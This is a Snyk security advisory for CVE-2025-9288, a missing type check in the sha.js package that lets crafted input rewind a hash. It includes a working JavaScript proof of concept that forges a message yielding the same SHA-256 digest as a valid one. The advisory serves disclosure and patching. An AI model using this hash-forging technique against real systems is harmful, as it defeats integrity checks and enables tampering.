Function Call With Incorrect Argument Type Affecting org.webjars.npm:sha.js package, versions [,2.4.12)


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-12089401
  • published21 Aug 2025
  • disclosed20 Aug 2025
  • creditNikita Skovoroda

Introduced: 20 Aug 2025

NewCVE-2025-9288  (opens in a new tab)
CWE-686  (opens in a new tab)

How to fix?

Upgrade org.webjars.npm:sha.js to version 2.4.12 or higher.

Overview

Affected versions of this package are vulnerable to Function Call With Incorrect Argument Type due to missing type checks in the update function in the hash.js file. An attacker can manipulate input data by supplying crafted data that causes a hash rewind and unintended data processing.

PoC

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

CVSS Base Scores

version 4.0
version 3.1